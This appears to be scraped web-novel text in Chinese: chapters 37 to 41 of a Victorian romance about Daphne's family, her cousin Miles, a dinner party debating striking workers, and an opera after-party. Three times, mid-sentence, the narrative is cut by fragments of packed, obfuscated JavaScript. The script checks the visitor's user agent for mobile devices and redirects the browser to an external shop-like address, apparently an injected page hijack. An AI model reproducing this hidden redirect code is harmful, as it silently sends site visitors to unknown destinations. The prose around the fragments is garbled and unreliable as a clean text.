狄默奇先生立马赶上迈尔斯的话尾:“迈尔斯,做门童终归不是一份长远的工作,我托我的朋友问到了埃克塞特步枪团要招志愿军的事,如今英国也没有什么战事,参军是个好去处,若你有能力当个长官那更好了。” 迈尔斯脸色变了一下,露出一副愁绪的样子:“天呐!这么好的事也只有通过姨父才知道了。可我听说当兵需要签署至少十二年的服役合同,当然我不是觉得十二年太长相反十二年都有一份固定的工作是多少人梦寐以求的——” “只是我实在是舍不得你们,到时候怕是一年也难得见上一面。”他叹气。 “迈尔斯,士兵一周的薪水三先令比你做门童来得多,更何况还有前途。”狄默奇先生说。 狄默奇太太和黛芙妮神情带了几分正经,基督教有一条戒律即‘不可杀人’,不过被影响的不是全部信徒而是部分。 不知道狄默奇太太的想法,至少黛芙妮对迈尔斯参加军这件事是不反对的。 “迈尔斯我们尊重你的想法。”狄默奇太太模棱两可地表态。 “姨妈,我清楚地知道这两份工作的好坏,只是我刚失去了爸妈如今要是连你们都见不到......”他说。 黛芙妮抬眼与狄默奇先生恰好对视,对方挑眉似乎有些其他的意思。 最后以迈尔斯需要考虑为理由暂停了这个话题,不过很明显狄默奇一家都明白了迈尔斯的真实想法。 果不其然第二日一早他特地等到狄默奇先生起来了才出门,就为了告诉他:“姨父,我实在是没脸说拒绝的话。可昨晚我梦到了妈妈,她对我想要参军的事表达了反对的意见,她认为当兵不可避免地需要上战场,而作为虔诚教徒的她觉得我不应该破坏‘不可杀人’的戒律。” “可我记得你不是基督教徒?”狄默奇先生听完后开口。 “为了将来能和爸妈再见,在他们去世那一天我就决定要信奉上帝了。”迈尔斯说,“说来还要感谢姨父你,不然我也不能在梦里和妈妈相见。” 狄默奇先生沉默。 “那么姨父我就先出门了,虽然今天迟到了但我收获了很多,十分满足。”迈尔斯微笑。 后来黛芙妮下来的时候,狄默奇先生对她说:“这就是你的不是了,你怎么能忘了带你表哥认认去教堂的路,害得他来了快两周都没去和上帝打招呼。” “我都不知道,什么时候的事?”黛芙妮吃惊。 “就在刚刚,上帝多了一名连滚带爬的信徒。”狄默奇先生咂嘴。 38. 艾肯先生的宴会 迈尔斯拒绝了一份比门童更具光明的前途,狄默奇一家居然没有感到意外。 他借口找得冠冕堂皇可偏偏操之过急,这下心里有几分清明的人多多少少都了解了一点他的本性。 不过倒也不会就此烦了他,毕竟说到底这是迈尔斯自己的人生。 日子一天天过,他在豪华剧院过得好不惬意,这份临时找的工作倒真就适合他。 今日狄默奇先生下班又带了一位常客回来。 熟悉后,黛芙妮也不像从前那样次次到门口迎接,她安稳地坐在沙发上路威尔顿先生自会来和她打招呼。 “先生今天借了哪本书?”等路威尔顿先生从书房出来时,黛芙妮问。 “《纯粹理性批判》。”他夹着书说。 他本不打算进来坐坐但听见黛芙妮问他,脚就有了自我意识。 一听这书名,黛芙妮便摇头笑说:“若不是您,怕是再没第二个人愿意翻开它了,说来也挺可怜。” 狄默奇先生关上书房门走过来在单人沙发上坐下,他拍打了一下沙发扶手顺道让路威尔顿先生留下吃饭。 “不了,今天有要事。”路威尔顿先生皱眉,想了片刻才拒绝。一项他不得不处理的事情,真是不讨喜。 “既然这样那就不多留你了。”狄默奇先生善解人意地站起身。 路威尔顿先生看了他一眼,抿嘴起身,他朝不打算站起来的黛芙妮弯腰,然后随狄默奇先生出去。 原来还有更不讨喜的呢。 黛芙妮继续做手工活。 第二天, 狄默奇先生拿了一张请柬回来说是艾肯先生的邀请函。 “菲利普得了一块鹿肉和一只松鸡,打算请我们开开眼。”他摇头晃脑的。 五月是狩猎淡季,新鲜的鹿肉都是苏格兰庄园专供的,野味也得提前预订。 邀请一收到,狄默奇太太立马翻开账本:“这个月我们受邀三次,比上个月多了一回,真是个好消息!” “不过我们需要更多的新衣服了。”她高兴地说。 惠特妮从大门处过来,她将两封信递给狄默奇太太。 “是安娜和萨利的信。”一见寄件人,她又高兴地叫起来。 “噢,拜托!”狄默奇先生翻了个白眼。 自从安娜去了伦敦,每周她和阿德勒舅舅都会寄一封信过来,好让一百零八号的一家人了解详细的情况。 让安娜去伦敦麻烦亲戚狄默奇先生已经很不好意思了,每每寄信过来他都害怕听到糟糕的事情。 “一切安好。”狄默奇太太看完两封信后解开了另外两位的狄默契脖子上的‘绳子’,“但是安娜问了一嘴,为什么黛菲你从不给她寄信。” 黛芙妮还没说什么,狄默奇先生倒是替她开口了:“不用理会她,没头脑的姑娘。” 狄默奇太太撇嘴将手里的信放在桌子上,继续琢磨账本。 狄默奇先生慢悠悠地又走去了书房。 “妈妈,您觉得我要给安娜写信吗?”黛芙妮问,她犹豫了好一会儿才开口的。 “黛菲,我永远不会逼你做决定,我也知道安娜对你的伤害,你千万不要因为我和你爸爸有负担。”狄默奇太太坚定温柔地看着她。 “我知道了妈妈。”黛芙妮对她笑了一下。她本来也不想回只是怕爸妈伤心。 “姨妈,黛菲,你们在说什么?”下班回来的迈尔斯问。 时间久了,迈尔斯也开始叫黛芙妮的昵称,虽然黛芙妮不习惯但迈尔斯说大家是一家人,没了爸妈后他最亲的也就只有他们了。 想到康纳姨妈黛芙妮也就默认了。 “迈尔斯,我们后天有个邀请,你有空吗?”狄默奇太太问。 “谁?”他解开红色的双排扣制服,一屁股坐在黛芙妮身侧,双腿肆意地打开。 “艾肯先生。”狄默奇太太说,“你姨父的朋友。” “是那位大学教授吗?”迈尔斯歪头,“后天没问题,我明天和经理说一声就行。” 黛芙妮侧过身将宽大的裙摆往旁边踢了踢,与迈尔斯的裤腿分开。 宴会当晚,四人紧挨着坐上马车赶往维多利亚公园。 迈尔斯坐在黛芙妮身边,狄默奇夫妇坐在他们对面。 “黛菲,我有两张《第十二夜》的门票,你有兴趣吗?”迈尔斯突然说。 黛芙妮将脑袋转过去,盯着他,表现得很诧异:“噢,迈尔斯,你真好!但是你有时间?” “我很抱歉,我可能还真没时间,但是你可以和姨妈或是亨斯通小姐一起去。”迈尔斯遗憾地蹙眉。 “什么时候?”狄默奇太太问。 “三天后。”迈尔斯说。 “黛菲,也许你可以问问贝拉,那天我和奥尔斯顿太太约好了要去孤儿院。”狄默奇太太说。 黛芙妮和坐在对面的爸爸对上眼,接着她说:“说起来,迈尔斯这周你一定得和我们一起去教堂,你应该去拜访一下奥尔斯顿牧师。” “他人非常好。”狄默奇太太赞同,“你有任何迷茫的问题都可以向他请教。” 迈尔斯张嘴又闭上,拍了一下膝盖笑着点头。 狄默奇先生抬起拳头挡住嘴巴,面朝窗外默不作声。 拐了一个弯,黛芙妮目测这里离维多利亚公园不远了。 “黛菲,我还可以带你去谢幕聚会。”迈尔斯有些得意。 狄默奇一家都看向他,有几分吃惊。 “迈尔斯看来你在歌剧院做得很好。”狄默奇太太很欣慰。 “只有和你们我才能说些实话。经理很看好我,他打算提拔我作为他的助理。”迈尔斯说,接着又看向黛芙妮,“你知道爱丽丝吗?那个很有名的演员,她将出演女主角薇奥拉。” “她还演过《费加罗的婚礼》中苏珊娜一角。”迈尔斯说,“是近来最炙手可热的演员之一。” “我会问问贝拉的,但是我不能现在就答应你。” 黛芙妮被他说得有些心动,歌剧后的谢宴她从未参加过,而且她也很喜欢看《费加罗的婚礼》,特别是费加罗和苏珊娜勇敢反抗贵族特权最后拥有完美的结局。 话题落下,维多利亚公园也到了。 车夫将他们送到艾肯先生家门口,然后骑去一边的大树下等待。 “我看上去怎么样?”迈尔斯拉拉衣摆问黛芙妮。 迈尔斯有着一张英俊的脸蛋,与同样外貌出色的路威尔顿先生比更让人觉得亲近,并且他还特别健谈。 穿上正式的西装,一眼看就是个令人心生好感的小伙。 “很好。”她说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689745|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你看上去也美极了。”迈尔斯笑容满面。 狄默奇先生领着他们敲响了大门,艾肯夫妇一见他们就亲切地围上来。 “艾尔莎,这是?”艾肯太太看向迈尔斯问狄默奇太太。 “这是我侄子,他在这里安顿下来了。”狄默奇太太说。 艾肯夫妇恍然大悟,显然是明白了这个‘侄子’和那天狄默奇太太突然悲痛欲绝有着直接的联系。 “快进来。”艾肯先生与狄默奇先生、迈尔斯握过手后热情地说。 黛芙妮挽上凯莉的手,走在前面。 她注意到这次艾肯先生的客人有几位很陌生从未见过。 路威尔顿先生、毕晓普先生倒是也在。 “黛芙妮,还好你来了。”凯莉高兴地说,两人在圆柱边停下,“今晚只有我们能说说话了。” 在场的只有她们两位未婚小姐,可不是让她们在今晚变得更加紧密了。 “安娜还没回来吗?”凯莉问。 “她暂时还没有返程计划。”黛芙妮笑了一下。 余光瞥见身穿烟灰色西装的路威尔顿先生走来,她开口:“多美好的夜晚,与你在这里碰面,路威尔顿先生。” 凯莉腼腆地点头,正面他。 路威尔顿先生对她点头,对黛芙妮说:“好久不见,黛芙妮小姐。” “事实上我们前天才见过,你忘了?”黛芙妮说,只当他是玩笑还有些诧异,“路威尔顿小姐没来吗?” “她身体不适。”他说。 黛芙妮觉得好笑,一听就是借口罢了,虽然她不是很喜欢那位小姐但她的哥哥帮了他们一个大忙,‘爱屋及乌’的也得表现得好些,才不会让人觉得她毫无感恩之心。 “太遗憾了,请医生了吗?”她问。 “别担心,小毛病,只是不适合出门社交。”他顿了一下说。 黛芙妮松口气,点点头。 “黛菲!”迈尔斯大步走来加入他们的谈话。 “这是我表哥,迈尔斯·康纳。”黛芙妮将他介绍给凯莉和路威尔顿先生。 “艾肯小姐。”迈尔斯微微倾斜上半身,一双蜜糖色的眼睛直把凯莉看的脸颊烧红。 “康纳先生。”凯莉一手捂着胸口,声音有些尖锐。 “叫我迈尔斯,听起来更亲切。”他说。 “迈尔斯。”凯莉眨巴眼睛时不时看向他。 “路威尔顿先生。”迈尔斯向路威尔顿先生伸手。 令人尴尬的是,路威尔顿先生只是淡淡地点了个头根本没理他,那双黑眼睛更是充斥着不屑和疏离。 迈尔斯收回手,还保持着微笑:“我远远就听到你们聊得热切,我可以加入吗?” “当然可以!”凯莉说。 路威尔顿先生还是一副‘别碰我、别和我说话、别在我眼前晃悠’的表情。 虽然黛芙妮知道他本性冷淡但这么不给迈尔斯面子,多少还是让她有些尴尬,毕竟迈尔斯是他们一家带来的。 “我们刚刚在说路威尔顿小姐,很遗憾她因为身体不适未能出席。”黛芙妮说。 “生病可不好受,不过在我老家我们都会选择喝点牛奶,那会好受很多。”迈尔斯说。 路威尔顿先生斜着眼睛看他,发丝微动:“多谢关心。” 39. 人与人之间的矛盾 明眼人都看得出路威尔顿先生不大瞧得上迈尔斯,迈尔斯的笑带上了苦味和无奈,他摇摇头表示自己有颗强大的心脏。 凯莉作为主人家,她硬着头皮在这样僵硬的气氛里开口,还得装出一切都十分和缓的样子:“迈尔斯,你来自哪里?” “肯特郡。”迈尔斯说。 “我知道那里,素来有‘英格兰花园’的美称,郡内有大量的兰花和啤酒花园。我在书上看到那儿的农村里有很多特别的烤房用来烤干啤酒花,是真的吗?”凯莉问。 迈尔斯用很惊喜的眼神和语气说:“是的。真没想到,凯莉你那么博学!” 他的夸赞让凯莉羞涩和自豪。 “在我们那里烤房是家庭农场的标配。”迈尔斯说。 “你摘过啤酒花吗?”凯莉立马捂嘴,“天呐,这个问题是否冒犯你了?” “当然没有,我可不是什么贵族子弟,每年八九月我都会和我的——”迈尔斯落寞地垂下眼睑,深呼吸又当没发生,“我的爸妈会雇佣工人下地摘花,我当然也是会做的。” “抱歉。”凯莉为自己刚刚不谨慎的提问感到愧疚。 “没关系,我已经全然地接受了。”迈尔斯说,“虽然有时候还是会想起曾经和他们生活的记忆,但是不都说‘惦念可以但不能沉醉’吗。” “你的心胸很宽阔。”凯莉说,“我听说现在有些家庭采用蒸汽的技术来烤干啤酒花,你见过吗?” 黛芙妮看他俩聊得火热,偷偷打量站在一边不走也不说话的路威尔顿先生,发现他正蹙眉用厌恶的眼神盯着迈尔斯。 虽然她对迈尔斯偶尔的举止有些不适,但对方大体在她心里的形象都很好,见近来才改观的路威尔顿先生连个理由都没有就这样敌视迈尔斯,心里不大开心。 她走近和路威尔顿先生肩膀持平:“先生,你见过迈尔斯吗?” “不。”黛芙妮走过来和他说话,他才把眼神从迈尔斯身上挪开,全心全意地服务他最喜爱的顾客。 黛芙妮笑容满面地说:“我差点以为你们曾经见过。” 路威尔顿先生表示疑惑地看她,他知道自己不能太强势太直接否则会破坏好不容易竖起的微弱好感。 “你看他的眼神可不像是第一次见。”黛芙妮意有所指。 “如果你说康纳先生本人,我确实是第一次见;可你要说是某一类人,我倒是时常遇见。”路威尔顿先生说。 黛芙妮抬眼看他,又说:“迈尔斯热情、开朗,几乎没有人会讨厌他,这可是他独门的特长,我非常羡慕。” “还好你用的是‘几乎’不然我将对自己产生疑问。”他勾起嘴角,深沉的眼神落在她脸上,“而且我也不觉得你需要羡慕,你很好。” 这么直白地夸赞黛芙妮真是受宠若惊,还怀疑自己是否是听错了打量他好几次。 “怎么?”他注意到黛芙妮看过来的目光,控制自己想挪开的眼睛镇定地问。 “我只是有些意外,恕我直言,我从未想过能从您的口中得到称赞。”她说。 “那是我的错了。”他抬起右手搭在胸前,很正式地侧过身向黛芙妮鞠躬。 “我只是开玩笑。”黛芙妮惊讶地笑起来,“噢,快起来吧,爸爸已经用疑惑的眼神来问我了。” “我会很惭愧地告诉他,是我的问题。”他严肃地直起身子靠近黛芙妮说。 黛芙妮摇摇头,说起别的:“先生,上次那本书您看得怎么样了?” “看了大部分。” “您觉得怎么样?” “适合闲暇时打发时间。” “上帝!你确定吗?真是太可怕了。”黛芙妮说,“我有三次路过它,拿起过两次,阅读过一次,最后放弃三次。” “你觉得哪方面不懂?”他问。 “我试图理解康德的理念,可每当我读到第二页的时候头就疼得不行,你觉得我是哪方面出了问题?”黛芙妮问。 他思考了一下:“大概是字印得不够清晰吧,油墨晕染看久了就会眩晕。” “感谢上帝,听你这么一说我就好多了,本来我还在怀疑是否是这里——”黛芙妮指指脑袋,“出了故障,明明每个单词都认识就是看不懂,原来是印刷厂的缘故。” “约克·霍克出版社可以保证没有这样的问题。”他一本正经地说。 “您真的不是给自己的产业打广告吗?”黛芙妮说。 “如果成功了,那我承认。”他说。 “那失败了呢?” “那就是你多想了。” 一来一去的聊了好一会儿,黛芙妮发现和路威尔顿先生单独交谈并没有那么难以接受,甚至发现他原来也有促狭的一面。 而且一开始她和他搭话是想表达不满的,没想到两句话后倒是忘得一干二净。 看来爸爸说他会说话也不是盲目夸赞。 艾肯太太招呼他们前往餐厅落座,交谈甚欢的凯莉和迈尔斯走在黛芙妮和路威尔顿先生前面。 等所有人都坐下,艾肯先生举起酒杯说些场面话。 黛芙妮身边是毕晓普太太和一位从未见过的先生,对面是迈尔斯和凯莉以及未见过的太太。 “晚上好。”未见过面的太太眉眼舒展说,“凯莉,你不帮我们介绍一下吗?” 她说这话的时候是看向黛芙妮的。 “西德尼,这是狄默奇先生的小女儿,黛芙妮。”凯莉说,“黛芙妮,这是小怀特太太,你身边的是小怀特先生。” 小怀特夫妇是一对年龄不超过三十的夫妻,一眼便能看出刚成婚几年,感情也较好。 黛芙妮坐在小怀特先生身边没少瞥见他妻子爱意满满的眼神,他们的爱情似乎是她见过的最外露的、最炙热的一种。 女眷这边聊着的花边、会展猛地被男士那边传来的讨论声打断。 其中以毕晓普先生的声音最为洪亮:“我最近都快被事务搅成肉碎了!每当我一睁眼那些约见的人就像蚂蚁一样赶来,浩浩荡荡不肯给我一点喘息的机会!” “你一定是在和我炫耀!”怀特先生大声说,“我最近的顾客少得和贫民窟里的白面包一样,完全没有!” “如果我再年轻十岁,我现在一定是乐得睡不着觉,可偏偏不是。”毕晓普先生指节敲击餐桌说道。 “一切都是那些工人搞出来的,真是烦人的蜜蜂们。”怀特先生抱怨,“他们将市场搅和得浑浊不堪,失去了秩序。我的顾客如今连一份儿童保单都得三番四次地考虑,最后给我来一句‘我很抱歉’。” “我倒是想问问,康斯坦丁,你的工厂有没有受到袭击?”怀特先生问,“伦敦可是有一批以破坏机器为要挟的工人正在闹抗议呢。” “没有。”路威尔顿先生说。 他和黛芙妮坐在一边,黛芙妮虽然看不见他的表情但能通过声音的起伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703992|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜测他的情绪。 “上个月美国南方投降的时候我就猜到英国国内失业率会大幅上涨,如今看来我果然没猜错。”艾肯先生捏着刀叉说。 “说实在的就现在这个行情有份工作他们就应该感谢上帝了,还要求那么多。”怀特先生哼了一声。 “良好的工作环境、工作时长的减短、薪资的上涨、要求拥有普选权参与政治,还有什么是他们不敢想的?”毕晓普先生说。 狄默奇先生叹口气:“但是不可否认,他们的生存环境确实很糟糕,大多数疾病也都是从他们那里传染开的。” “最有发言权的就是康斯坦丁了,你认为呢?”小怀特先生问。 “如果要一一满足他们的要求,就要做好面对全英国工厂主的准备。”路威尔顿先生不疾不徐的。 “爽快点,你有准备了吗?”艾肯先生急躁地问。 “没有。”路威尔顿先生还是慢悠悠的。 黛芙妮听了心里不好受,如果她没见过贫民窟的景象也许不会像现在这样煎熬。 贫穷、疾病、饥饿、寒冷,即便只有一项就足够让她绝望了。 “我听说奥斯本这周打算裁掉一半的员工,他不想做无谓的抵抗,没有利润。”毕晓普先生说。 “狡诈的狐狸,我想他一定是听说了伦敦工人抗议的事,打算趁这股风还没吹到这里赶紧解决手里的问题。”怀特先说。 “最头疼的难道不是这群人一旦没了工作,就很可能组织大规模的游行和抗议吗?即使奥斯本现在趁他们还没反应过来就裁掉他们,也不能保证之后工人不找他的麻烦。”毕晓普先生说。 “到时候他早就在法国的邮轮上了。”小怀特先生说。 “说来说去还是工人太过贪心。”怀特先生愤怒地说。 “我也认为是的。”迈尔斯说。 他突然开口打乱了黛芙妮的思绪,她眨了一下眼睛盯着他十分不解。迈尔斯好端端地怎么加入了这个话题? “如今街上的流浪汉越来越多了,他们大多是失业工人。”迈尔斯说,“我真想不明白在这种时候一份工作不应该比什么都来得可贵吗?” “你说得对,小伙子。”怀特先生对他肯定的点头。 迈尔斯扬起嘴角,他亮眼的外观和赞同的观点为他赢来了不少先生的好感。 不过黛芙妮表示,她对表哥的好感又降了好多呢。 原以为出身平凡的表哥会比那些工厂主、富人更容易体谅底层人民的艰苦,没想到没享受过奢侈生活甚至还在打工的他会站在另一边。 这顿饭从这里就开始被定了基调,到结束艾肯太太和凯莉再怎么努力都扛不起女眷这边的气氛了,整桌音量都在男士们挥手呐喊下共同起伏。 饭后,男士们聊得意犹未尽还坐在餐厅不肯挪动,艾肯太太只好招呼女眷去会客室。 打了两圈牌,黛芙妮下了桌,她走到堆放甜品和酒水的小圆桌边打算倒点葡萄酒润润喉。 在马德拉酒和松杜子酒中有些犹豫。 “松杜子酒中加点柠檬汁更适合夏季。” 黛芙妮不用抬头就知道是谁:“谢谢您的建议,路威尔顿先生。” 她拿起一小壶柠檬汁倒入高脚杯中,摇晃杯子让柠檬汁和松杜子酒相融。 喝了一下口发现他还站在旁边,疑惑地看他。 路威尔顿先生拿起一杯金酒,微微点头离开了。 40. 谢幕宴会 回去后黛芙妮和贝拉说起了歌剧院门票和谢幕宴会的事,对方当即同意并且十分期待。 “我太喜欢《第十二夜》了,爱情、友情的美满,理想中的生活。”贝拉说。 迈尔斯给她们的门票是普通座位,但此刻也是一票值千金。 “我好像看到路威尔顿小姐了。”贝拉坐下后与黛芙妮贴耳低喃。 她们的座位在大厅较为中间的位置,上面两圈都是一个个独立的半圆形阳台包厢。 黛芙妮顺着贝拉的指引抬头望去:“哪里?” “也许我看错了?”怎么找也找不到贝拉也不确定了。 灯光一暗两人也顾不上其他的,舒服地倚靠在椅背上,沉浸在演员们为他们展现的栩栩如生的故事里。 直到结束所有人鼓起掌,黛芙妮和贝拉还在回味刚刚的舞台。 “爱丽丝真是太漂亮了!”贝拉说得很大声,不然她的声音就会被鼓掌声、交谈声给毫不留情地盖过去。 “我敢打赌她一定会成为这十年最有名的演员!”一位太太听到贝拉的话,使劲摆手说。 从这里出去,黛芙妮和贝拉按照一早迈尔斯的指示弯弯绕绕地来到一条安静的走廊。 一个员工守在那里,等看到邀请函立马推开直通天花板的雕花大门,露出里面另一番热闹的世界。 红丝绒窗帘、深蓝色印花地毯、华丽的水晶吊灯,卷发侍者托举托盘有眼色地走到黛芙妮和贝拉身边。 “谢谢。”拿过一杯香槟,黛芙妮回神对他说。 “黛芙妮。”贝拉一双眼睛看的都不眨一下,“我一直以为你表哥在开玩笑。” “谁说不是呢。”黛芙妮点头。 “嘿!黛菲,亨斯通小姐!”迈尔斯脱去了一身红色制服,穿着西装从人群里挤过来。 “迈尔斯,我以为你在外面。”黛芙妮拉着贝拉朝他走去。 “这样的场面我怎么好错过。”迈尔斯露出牙齿,“瞧!那可是个贵族!” 黛芙妮忙看过去,一身棕色的西装,不算高的个子,身形中等,转过脸来很普通,上嘴唇有一条修剪整齐的小胡子。 “埃里克男爵。”贝拉说。 “你知道他?”迈尔斯有些诧异,又想起来什么,“是了,你们都在这里生活,一定知道的。” “他看上去不像摩西说的那样。”黛芙妮想起对方是谁,打量说。 “再怎么说也是贵族,每年都能拿一笔零花钱。”贝拉说。 迈尔斯听了几句就知道她们在说什么:“男爵虽然投资亏了不少钱但并没有变卖房产,再怎么样也比我们强。” “那是爱丽丝和卡佩拉!”贝拉抬起下巴,对准走到男爵身边的两位年轻女人说,“我们走近些。” “黛菲,我朋友叫我,我得离开了。”迈尔斯朝远处点头然后对她们说,“不用等我回去。” 他又挤着人群离开了。 等他走后,黛芙妮和贝拉往两位女主演的方向靠近,直至距离四五个人身的地方才停下。 大概是有男爵在的缘故,他们几人周围围着的人不多,偶尔能听见一些说话声。 “男爵,我今晚的表演怎么样?”爱丽丝咯咯笑着,一双手抚过鬓角。 “一如既往的完美。”埃里克男爵说。 爱丽丝眼含水波,火辣辣地看他。 黛芙妮和贝拉面面相觑然后默契地往外走,直到足够远离他们才停下。 “原来他们是这样的关系吗?”黛芙妮捂着嘴和贝拉咬耳朵。 “倒是不像,不过关系密切是真的。”贝拉说,“男爵可没结婚,当不上夫人情人也有很多女人愿意。” “为什么他这个年纪了还没有妻子?”黛芙妮问。虽然三十几不算大,但在吃香的贵族里是很意外的存在。 “前几年眼光太高看不上,现在愿意结婚大概因为财务问题。但这世界上不是只有他一个聪明人,一些脑袋清明的小姐早早就避开了,谁都不愿意拿自己的嫁妆去填补,更何况那位男爵长得并不英俊。”贝拉说。 两人站在墙边边喝香槟边闲谈,默默地并不引人注意。 “我就说我看到路威尔顿小姐了。”贝拉拍拍黛芙妮的手,看向大门口刚进来的那道身影。 路威尔顿小姐是独自前来的,她抬着下巴神情倨傲,不理会周围异样的眼神直直往里走。 “也许我们需要去打个招呼?”黛芙妮看着路威尔顿小姐目中无人的样子不确定地说。 “我想是的,除非你不打算和他们一家来往了又或是你能保证自己出现在这里的事路威尔顿小姐不会知道。”贝拉说。 这真是太考验黛芙妮的心理承受压力了,因为路威尔顿小姐自带清理场地的功能,她身边一米的距离没有一个人靠近。 没有一个人和她说话除了侍者,当然她也不屑开口,只是默默地站定然后打量墙壁上的油画。 黛芙妮和贝拉走过去的时候,心里惴惴不安。 “她是怎么得罪这么多人的?”贝拉小声说,“天呐!我从未见过这么不受欢迎的小姐。” 好在一会儿的工夫周围瞧热闹的眼神都散去了,路威尔顿小姐也看到了黛芙妮和贝拉。 “路威尔顿小姐,没想到能在这里遇见你。”黛芙妮说。 “黛芙妮小姐,亨斯通小姐。”她神情冷淡,微点头部,“我更意外在这里遇见你们。” “所以你经常来参加这种宴会吗?”贝拉问。 “偶尔,当我不得不的时候。”路威尔顿小姐说。 听起来有隐情,不过这不适合她们询问,还没熟到那种程度。 “今天是我和贝拉第一次来参加谢幕宴会,没想到能遇到熟人,这是上帝的指引不是吗?”黛芙妮笑说。 有人走到她身边,黛芙妮转头:“桑席!” 她和贝拉都很惊喜。 “你也在这里,今天是什么日子?”贝拉高兴地握住她的手。 “我陪西格莉德来的,看!她在和亚历山大说话,就是那个扮演塞巴斯蒂安的演员。”桑席说。 黛芙妮看了一会儿收回眼睛,对桑席说:“这是路威尔顿小姐。路威尔顿小姐,这是桑席。” 路威尔顿小姐挑剔的眼神让本就怯弱的桑席心惊肉跳的,不停地向黛芙妮和贝拉用目光传递求救信号。 贝拉突然笑出声,三人不解地看她。 “那位先生让我想到了马伏里奥。”她指向一个大腹便便、穿着黄色袜子的男士说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715389|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果所有穿黄袜子的男人都被认作是马伏里奥的话,他们一定会举牌抗议的。”黛芙妮打趣道。 “我觉得他比那个演员还要像。”贝拉揶揄地眨眨眼睛。 转眼间来了一位男士,黛芙妮和贝拉、桑席肉眼可见地吃惊。 “克利诺男爵。”女士们微蹲行礼。 “路威尔顿小姐,很高兴在这里和你碰面。”克利诺男爵一手背在身后,挺直腰板,然后对黛芙妮、贝拉、桑席微笑点头。 “这是我今晚最大的意外。”路威尔顿小姐说,她看上去有些郁闷。 “怎么没见路威尔顿先生?”男爵问。 “今晚只有我一个人来。”路威尔顿小姐说。 “近来曼彻斯特并不安全,让你这样一位柔弱的小姐独自出门实在是大胆。”男爵说。 “哥哥派了不少人接送我,请不用担心。”路威尔顿小姐说。 黛芙妮隐约感觉到男爵对路威尔顿小姐有些不同,此刻她们三人十分尴尬,于是在和贝拉、桑席对视后决定开口离开。 “克利诺男爵,路威尔顿小姐。我们必须得走了,十分感谢今晚的相遇。”黛芙妮笑着说。 男爵很干脆地同意了,路威尔顿小姐倒是不太乐意但也没说什么。 黛芙妮三人退到大门口才松下肩膀。 “我敢打赌男爵在追路威尔顿小姐。”贝拉说。 “不过路威尔顿小姐看上去并不乐意,十分勉强。”黛芙妮隔着好多人注视那两道疏离的身影。 “这难道不好吗?那可是男爵!一位贵族!”桑席说。 “那可未必。”贝拉看了黛芙妮一眼。 西格莉德摇曳着身姿走来,和她们打过招呼就打算领着桑席离开。 “黛芙妮,贝拉,求求你们行行好吧来看看我。”桑席走前握着她们的手可怜又不舍地说,“我在这里只有你们两个朋友,孤独的不比我在老家好受。” “我会在家里等你的邀请函。”黛芙妮弯起眼睛。 送走她们后她和贝拉也打算回去了,两人坐上马车才继续说刚刚未说完的话题。 “男爵急需一位富有的妻子而路威尔顿小姐显然被他盯上了。”贝拉说。 “可要是路威尔顿小姐不愿意,谁又会逼她呢?”黛芙妮说,“路威尔顿先生决计不会让自己唯一的亲人后半生过得不幸福的。” “你倒是了解那位先生。”贝拉轻笑,“可你别忘了,就算男爵再落魄那也是贵族,其他地方不提但在曼彻斯特是很有名望的。路威尔顿先生说到底不过是新兴资本,与那些老牌阶级相比到底还是差了点。” “我还是不认为路威尔顿小姐在自己不愿意的情况下会嫁给男爵,因为此刻是男爵求着他们而不是他们求着男爵。”黛芙妮说,“除非路威尔顿先生和路威尔顿小姐想要通过与贵族联姻达到其他目的,但我还是认为这不可能,路威尔顿先生不会将自己妹妹的幸福放在利益之后。” “你能这么想是因为你不是路威尔顿小姐,剧中人可没那么理智而且我瞧那位小姐也不见得有多聪明。”贝拉勾起嘴角,“她那双总是打量人的眼睛以及自以为是的定义都只是依靠个人的想法罢了,还以为我们都不知道,你等着瞧吧她迟早会跌跟头的。” 41. 主日的慈善活动 清晨水珠零零散散地铺在石板路上,马蹄子哒哒的踩水声清脆响亮,敲醒了新的一天。 这个主日,黛芙妮和狄默奇太太凌晨就起来了,她们做了一百个圆形小麦面包用于今日的慈善活动。 惠特妮和卡丽临时编织了好几个大篮筐将面包堆在里面,上面还盖了一张白色的布用来隔绝灰尘。 黛芙妮穿着半旧的蓝色棉裙,匆匆从楼上下来,她吩咐车夫将这些筐子的一半先搬到车上。 由于马车内部空间较为狭小,无法在两人都坐下的同时将面包全部搬上去,所以她和妈妈决定分两批运输,她先去妈妈带着另一半面包第二趟过来。 “小心点!这些面包可花了足足八个英镑呢!”卡丽双手叉腰严肃地盯着道奇和惠特妮的动作。 “我从未想过有一天有一百个白面包从我手上能安全地经过。”道奇搬着面包说,“天呐!不是我的眼睛有毛病了就是我的脑子疯了。” 